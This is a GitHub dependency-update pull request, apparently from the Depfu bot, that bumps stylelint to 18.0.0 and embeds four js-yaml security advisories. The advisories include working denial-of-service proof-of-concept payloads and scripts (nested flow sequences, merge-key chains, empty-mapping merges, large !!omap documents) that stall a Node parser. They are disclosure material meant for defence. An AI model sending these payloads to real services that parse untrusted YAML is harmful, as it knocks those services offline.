Skip to content

🚨 [security] Update stylelint 17.16.0 β†’ 18.0.0 (major) - #108

Merged
j9t merged 2 commits into
mainfrom
depfu/update/npm/stylelint-18.0.0
Nov 10, 2026
Merged

j9t merged 2 commits into
mainfrom
depfu/update/npm/stylelint-18.0.0

Conversation

@depfu

@depfu depfu Bot commented Nov 10, 2026

Copy link
Copy Markdown
Contributor

🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!


Here is everything you need to know about this upgrade. Please take a good look at what changed and the test results before merging this pull request.

What changed?

✳️ stylelint (17.16.0 β†’ 18.0.0) Β· Repo Β· Changelog

Release Notes

18.0.0

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ argparse (indirect, 2.0.1 β†’ 3.0.4) Β· Repo Β· Changelog

Release Notes

3.0.4 (from changelog)

More info than we can show here.

3.0.3 (from changelog)

More info than we can show here.

3.0.2 (from changelog)

More info than we can show here.

3.0.1 (from changelog)

More info than we can show here.

3.0.0 (from changelog)

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ cosmiconfig (indirect, 9.0.2 β†’ 10.0.1) Β· Repo Β· Changelog

Release Notes

10.0.1

More info than we can show here.

10.0.0 (from changelog)

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ ignore (indirect, 7.0.9 β†’ 7.0.14) Β· Repo Β· Changelog

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ js-yaml (indirect, 4.3.2 β†’ 5.5.0) Β· Repo Β· Changelog

Security Advisories 🚨

🚨 js-yaml: maxTotalMergeKeys does not limit CPU use for empty merge sources

Summary

maxTotalMergeKeys does not count empty mappings. An attacker can repeatedly merge a large sequence of them and consume significant CPU without reaching the configured limit.

Example

arr: &arr [{}, {}, {}, ...] # N empty mappings
targets:
  - <<: *arr                # repeated K times

For every target, the loader iterates all N elements of arr. This results in O(N * K) work while totalMergeKeys remains unchanged.

PoC

import { performance } from 'node:perf_hooks'
import { load, YAML11_SCHEMA } from 'js-yaml'

const n = 20000

const src =
'arr: &arr [' + '{},'.repeat(n).slice(0, -1) + ']\n' +
'targets:\n' +
' - <<: *arr\n'.repeat(n)

const started = performance.now()

load(src, { schema: YAML11_SCHEMA })

console.log(<span class="pl-s1"><span class="pl-kos">${</span><span class="pl-kos">(</span><span class="pl-s1">performance</span><span class="pl-kos">.</span><span class="pl-en">now</span><span class="pl-kos">(</span><span class="pl-kos">)</span> <span class="pl-c1">-</span> <span class="pl-s1">started</span><span class="pl-kos">)</span><span class="pl-kos">.</span><span class="pl-en">toFixed</span><span class="pl-kos">(</span><span class="pl-c1">1</span><span class="pl-kos">)</span><span class="pl-kos">}</span></span> ms)

Observed results:

N YAML size Time
800 ~13 KB ~20 ms
3200 ~50 KB ~180 ms
20000 ~500 KB ~13 s

Impact

When merge keys are enabled, an attacker can submit a relatively small YAML document that causes prolonged CPU consumption despite the default maxTotalMergeKeys limit.

Fix

Count every merge source mapping as one budget unit in addition to counting its keys.

🚨 js-yaml: Exponential parsing time in flow collections leads to denial of service

Summary

Parsing a small YAML document can take exponential time. An application that calls load() or loadAll() on untrusted input can be hung by a payload under 200 bytes.

Details

When an entry in a flow sequence turns out to be a key: value pair, the parser rewinds and parses that entry a second time as the key.
If the key is itself a nested flow sequence of the same shape, every level is parsed twice, so the total work is O(2^n) in the nesting depth. The default maxDepth of 100 does not help, because the time is already unmanageable at about 30 to 40 levels.

Root cause, potentially the: readFlowCollection in parser.ts, the restoreState followed by a second parseNode further down.

PoC

const yaml = require('js-yaml')
const n = 30
yaml.load('[ '.repeat(n) + '1' + ' ]: 0'.repeat(n))

With default options: 22 levels takes about 1 second, 26 levels about 17 seconds, 30 levels over 2 minutes. The input stays under 200 bytes and grows linearly with n.

Impact

Denial of service. A single small request can keep one CPU busy for minutes or longer and blocks the Node event loop, so one request can stall the whole process. No anchors, aliases, merges, tags, or non default options are required, and it reproduces on the default schema.

🚨 js-yaml: YAML merge-key chains can force quadratic CPU consumption in js-yaml

Impact

This is the same report as for v3/v4, but with lower severity, because in v5, merge is off by default

When merge keys (<<) are enabled, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one:

a0: &a0 { k0: 0 }
a1: &a1 { <<: *a0, k1: 1 }
a2: &a2 { <<: *a1, k2: 2 }
a3: &a3 { <<: *a2, k3: 3 }
...
b: *aN

For each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size.

PoC

From N = 4000 delay become > 1s (doc size < 100K)

import { performance } from 'node:perf_hooks'
import { Buffer } from 'node:buffer'
import { load, YAML11_SCHEMA } from 'js-yaml'

const n = Number(process.argv[2] || 4000)

function makeMergeChain (count) {
const lines = ['a0: &a0 { k0: 0 }']

for (let i = 1; i < count; i++) {
lines.push(a<span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">i</span><span class="pl-kos">}</span></span>: &amp;a<span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">i</span><span class="pl-kos">}</span></span> { &lt;&lt;: *a<span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">i</span> <span class="pl-c1">-</span> <span class="pl-c1">1</span><span class="pl-kos">}</span></span>, k<span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">i</span><span class="pl-kos">}</span></span>: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">i</span><span class="pl-kos">}</span></span> })
}

lines.push(b: *a<span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">count</span> <span class="pl-c1">-</span> <span class="pl-c1">1</span><span class="pl-kos">}</span></span>)
return <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">lines</span><span class="pl-kos">.</span><span class="pl-en">join</span><span class="pl-kos">(</span><span class="pl-s">'\n'</span><span class="pl-kos">)</span><span class="pl-kos">}</span></span>\n
}

const source = makeMergeChain(n)

console.log(source.split('\n').slice(0, 8).join('\n'))
console.log('...')
console.log(source.split('\n').slice(-4).join('\n'))
console.log()
console.log(N: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">n</span><span class="pl-kos">}</span></span>)
console.log(YAML size: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-v">Buffer</span><span class="pl-kos">.</span><span class="pl-en">byteLength</span><span class="pl-kos">(</span><span class="pl-s1">source</span><span class="pl-kos">)</span><span class="pl-kos">}</span></span> bytes)

const started = performance.now()
const result = load(source, { schema: YAML11_SCHEMA })
const elapsed = performance.now() - started

console.log(parse time: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">elapsed</span><span class="pl-kos">.</span><span class="pl-en">toFixed</span><span class="pl-kos">(</span><span class="pl-c1">1</span><span class="pl-kos">)</span><span class="pl-kos">}</span></span> ms)
console.log(top-level keys: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-v">Object</span><span class="pl-kos">.</span><span class="pl-en">keys</span><span class="pl-kos">(</span><span class="pl-s1">result</span><span class="pl-kos">)</span><span class="pl-kos">.</span><span class="pl-c1">length</span><span class="pl-kos">}</span></span>)
console.log(b keys: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-v">Object</span><span class="pl-kos">.</span><span class="pl-en">keys</span><span class="pl-kos">(</span><span class="pl-s1">result</span><span class="pl-kos">.</span><span class="pl-c1">b</span><span class="pl-kos">)</span><span class="pl-kos">.</span><span class="pl-c1">length</span><span class="pl-kos">}</span></span>)

Patches

Fix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases.

🚨 js-yaml: Quadratic-complexity (O(n^2)) DoS via !!omap tag in YAML11_SCHEMA

Summary

js-yaml v5.x introduces YAML11_SCHEMA support with the !!omap (ordered map) tag. The omapTag.addItem() function performs a linear O(n) scan for duplicate key detection on every insertion, resulting in O(n^2) total time to parse a document with n omap entries. An attacker can send a small crafted YAML document to trigger a multi-second CPU stall in any application that uses yaml.load() with { schema: yaml.YAML11_SCHEMA }.

Details

In src/tag/sequence/omap.ts (compiled: dist/js-yaml.cjs.js:510-525):

var omapTag = defineSequenceTag('tag:yaml.org,2002:omap', {
    create: () => [],
    addItem: (container, item) => {
        // ...
        for (const existing of container)   // O(n) per insertion!
            if (hasOwnProperty(existing, itemKeys[0]))
                return 'cannot resolve an ordered map item';
        container.push(object);             // n insertions β†’ O(n^2) total
        return '';
    }
});

For a document with n unique entries, insertion i scans iβˆ’1 existing entries, yielding 1+2+…+n = O(nΒ²) total work.

PoC (runtime-confirmed on v5.2.0)

const yaml = require('js-yaml');
function buildOmapPayload(n) {
  let p = '!!omap\n';
  for (let i = 0; i < n; i++) p += '- key' + i + ': val' + i + '\n';
  return p;
}
// Timing results on v5.2.0:
// n=1000:  9ms
// n=5000:  73ms  (5x n β†’ 8x time)
// n=10000: 255ms (2x n β†’ 3.5x time β€” supralinear)
// n=20000: 997ms (2x n β†’ 3.9x time β€” O(nΒ²) confirmed)
// n=50000: 10613ms          ← blocks event loop for >10 seconds
yaml.load(buildOmapPayload(50000), { schema: yaml.YAML11_SCHEMA });

Impact

Any application that parses untrusted YAML using yaml.load(input, { schema: yaml.YAML11_SCHEMA }) is vulnerable to Denial of Service. A ~2 MB payload of 50,000 entries blocks the Node.js event loop for 10+ seconds. Smaller payloads (5,000 entries, ~100 KB) already cause noticeable slowdowns (73 ms per parse, amplified under concurrent load).

This affects the newly released 5.x series (first published 2026-06-20) which adds YAML 1.1/1.2 schema support including !!omap. The 4.x series is unaffected (no YAML11_SCHEMA export).

Fix

Replace the O(n) linear scan in addItem with an O(1) Set-based lookup:

var omapTag = defineSequenceTag('tag:yaml.org,2002:omap', {
    create: () => ({ list: [], seen: new Set() }),
    addItem: (state, item) => {
        const key = Object.keys(item)[0];
        if (state.seen.has(key)) return 'duplicate omap key';
        state.seen.add(key);
        state.list.push(item);
        return '';
    },
    resolve: (state) => state.list
});
Release Notes

5.5.0 (from changelog)

More info than we can show here.

5.4.3 (from changelog)

More info than we can show here.

5.4.2 (from changelog)

More info than we can show here.

5.4.1 (from changelog)

More info than we can show here.

5.4.0 (from changelog)

More info than we can show here.

5.3.0 (from changelog)

More info than we can show here.

5.2.3 (from changelog)

More info than we can show here.

5.2.2 (from changelog)

More info than we can show here.

5.2.1 (from changelog)

More info than we can show here.

5.2.0 (from changelog)

More info than we can show here.

5.1.0 (from changelog)

More info than we can show here.

5.0.0 (from changelog)

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ postcss-safe-parser (indirect, 7.0.1 β†’ 7.1.0) Β· Repo Β· Changelog

Release Notes

7.1.0

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ postcss-selector-parser (indirect, 7.1.6 β†’ 7.2.0) Β· Repo Β· Changelog

Release Notes

7.2.0

More info than we can show here.

7.1.8

More info than we can show here.

7.1.7

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ write-file-atomic (indirect, 7.0.1 β†’ 8.0.0) Β· Repo Β· Changelog

Release Notes

8.0.0

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

πŸ—‘οΈ @​nodelib/fs.scandir (removed)

πŸ—‘οΈ @​nodelib/fs.stat (removed)

πŸ—‘οΈ @​nodelib/fs.walk (removed)

πŸ—‘οΈ astral-regex (removed)

πŸ—‘οΈ braces (removed)

πŸ—‘οΈ callsites (removed)

πŸ—‘οΈ css-functions-list (removed)

πŸ—‘οΈ cssesc (removed)

πŸ—‘οΈ error-ex (removed)

πŸ—‘οΈ fast-glob (removed)

πŸ—‘οΈ fast-uri (removed)

πŸ—‘οΈ fastest-levenshtein (removed)

πŸ—‘οΈ fastq (removed)

πŸ—‘οΈ fill-range (removed)

πŸ—‘οΈ get-east-asian-width (removed)

πŸ—‘οΈ global-modules (removed)

πŸ—‘οΈ global-prefix (removed)

πŸ—‘οΈ globjoin (removed)

πŸ—‘οΈ html-tags (removed)

πŸ—‘οΈ import-fresh (removed)

πŸ—‘οΈ ini (removed)

πŸ—‘οΈ is-arrayish (removed)

πŸ—‘οΈ is-number (removed)

πŸ—‘οΈ is-path-inside (removed)

πŸ—‘οΈ json-parse-even-better-errors (removed)

πŸ—‘οΈ kind-of (removed)

πŸ—‘οΈ lines-and-columns (removed)

πŸ—‘οΈ lodash.truncate (removed)

πŸ—‘οΈ mathml-tag-names (removed)

πŸ—‘οΈ meow (removed)

πŸ—‘οΈ merge2 (removed)

πŸ—‘οΈ micromatch (removed)

πŸ—‘οΈ normalize-path (removed)

πŸ—‘οΈ parent-module (removed)

πŸ—‘οΈ parse-json (removed)

πŸ—‘οΈ queue-microtask (removed)

πŸ—‘οΈ require-from-string (removed)

πŸ—‘οΈ resolve-from (removed)

πŸ—‘οΈ reusify (removed)

πŸ—‘οΈ run-parallel (removed)

πŸ—‘οΈ slash (removed)

πŸ—‘οΈ slice-ansi (removed)

πŸ—‘οΈ @​sindresorhus/merge-streams (removed)

πŸ—‘οΈ globby (removed)

πŸ—‘οΈ unicorn-magic (removed)

πŸ—‘οΈ svg-tags (removed)

πŸ—‘οΈ table (removed)

πŸ—‘οΈ to-regex-range (removed)

πŸ—‘οΈ ajv (removed)

πŸ—‘οΈ string-width (removed)

πŸ—‘οΈ strip-ansi (removed)

πŸ—‘οΈ glob-parent (removed)

πŸ—‘οΈ which (removed)

πŸ—‘οΈ has-flag (removed)

πŸ—‘οΈ json-schema-traverse (removed)

πŸ—‘οΈ supports-hyperlinks (removed)

πŸ—‘οΈ picomatch (removed)

πŸ—‘οΈ supports-color (removed)


Depfu Status

Depfu will automatically keep this PR conflict-free, as long as you don't add any commits to this branch yourself. You can also trigger a rebase manually by commenting with @depfu rebase.

All Depfu comment commands
@​depfu rebase
Rebases against your default branch and redoes this update
@​depfu recreate
Recreates this PR, overwriting any edits that you've made to it
@​depfu merge
Merges this PR once your tests are passing and conflicts are resolved
@​depfu cancel merge
Cancels automatic merging of this PR
@​depfu close
Closes this PR and deletes the branch
@​depfu reopen
Restores the branch and reopens this PR (if it's closed)
@​depfu pause
Ignores all future updates for this dependency and closes this PR
@​depfu pause [minor|major]
Ignores all future minor/major updates for this dependency and closes this PR
@​depfu resume
Future versions of this dependency will create PRs again (leaves this PR as is)

@depfu depfu Bot added the depfu label Nov 10, 2026
@coderabbitai

coderabbitai Bot commented Nov 10, 2026 •

Copy link
Copy Markdown

Important

Review skipped

Bot user detected.

To trigger a single review, invoke the @coderabbitai review command.

Run configuration

  • Source mode: Auto
  • Repository: Unavailable
  • Branch: Unavailable
  • File: No configuration file from this repository applied
  • Commit: Unavailable
  • Layers: Central YAML; Path: .coderabbit.yaml
  • Review profile: CHILL
  • Plan: Advanced
  • Run ID: 1f490d70-c2bb-4695-bfb7-fa4b92cd12e1

You can disable this status message by setting the reviews.review_status to false in the CodeRabbit configuration file.

Use the checkbox below for a quick retry:

  • Trigger review
  • Autofix Β· Keep fixing CodeRabbit findings and required CI, and resolving merge conflicts

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

Share

@socket-security

socket-security Bot commented Nov 10, 2026 •

Copy link
Copy Markdown

@j9t
j9t merged commit 787f5f6 into main Nov 10, 2026
8 checks passed
@j9t
j9t deleted the depfu/update/npm/stylelint-18.0.0 branch November 10, 2026 13:22
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant